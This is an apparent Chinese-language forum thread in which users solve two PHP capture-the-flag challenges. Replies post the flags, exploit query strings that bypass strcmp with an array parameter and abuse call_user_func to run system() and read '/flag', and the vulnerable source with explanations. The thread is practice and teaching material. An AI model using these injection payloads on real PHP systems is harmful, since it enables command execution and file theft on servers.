两道 PHP 题目,都是求 flag 值

3 天前
 yxzblue

1 、http://106.15.186.69:8061/

2 、http://106.15.186.69:8097/

1146 次点击
所在节点    PHP
8 条回复
virusdefender
3 天前
ctf 老技巧了
Anakin078
3 天前
flag{c4ca4238a0b923820dcc509a6f75849b}
flag{19a0664d0b3d997318f6e4940240e91c}
Anakin078
3 天前
网络安全这么好玩,不去学一下吗 hhh
user20190708
3 天前
1.
/?1=hacker&2[]=%0
flag{c4ca4238a0b923820dcc509a6f75849b}

2.
/?a=system&b=find%20/%20-name%20"*flag*"
/?a=read&b=/flag
flag{19a0664d0b3d997318f6e4940240e91c}
aloxaf
3 天前
拿去考了一下 AI ,发现 claude 3.5 真的不错,第一题准确判断出了是 strcmp 的参数漏洞,其他都都让我输入 flag……
ahu
3 天前
第一题:

<?php
highlight_file(__FILE__);
include('flag.php');
$g = $_GET['1'];
if (preg_match('/^hacker$/im', $g)) {
if (strcmp($_GET['2'],$flag) == 0) {
echo $flag;
}
}
?>

考的是 strcmp 的漏洞:弱类型转换后 null == 0 。

strcmp("foo", array()) => NULL + PHP Warning
strcmp("foo", new stdClass) => NULL + PHP Warning
strcmp(function(){}, "") => NULL + PHP Warning

第二题:

<?php
highlight_file(__FILE__);

function scan($directory){
return var_dump(scandir($directory));
}

function read($f){
echo file_get_contents($f);
}

call_user_func($_GET['a'], $_GET['b']);

?>

考的是 call_user_func 的漏洞:如果直接将用户输入的内容作为参数,则可以执行任意命令。
先用 ?a=scan&b=/ 找出 flag 文件,然后用 ?a=read&b=/flag 读出 flag 文件内容
yxzblue
3 天前
感谢,提供思路
vevlins
3 天前
楼上说 ai 的那位给了启发,感觉 ai 还是可以的,我把代码给了 kimi ,两个问题都给出了问题点,稍微搜索一下对应知识点就找到了答案。

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/1081563

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX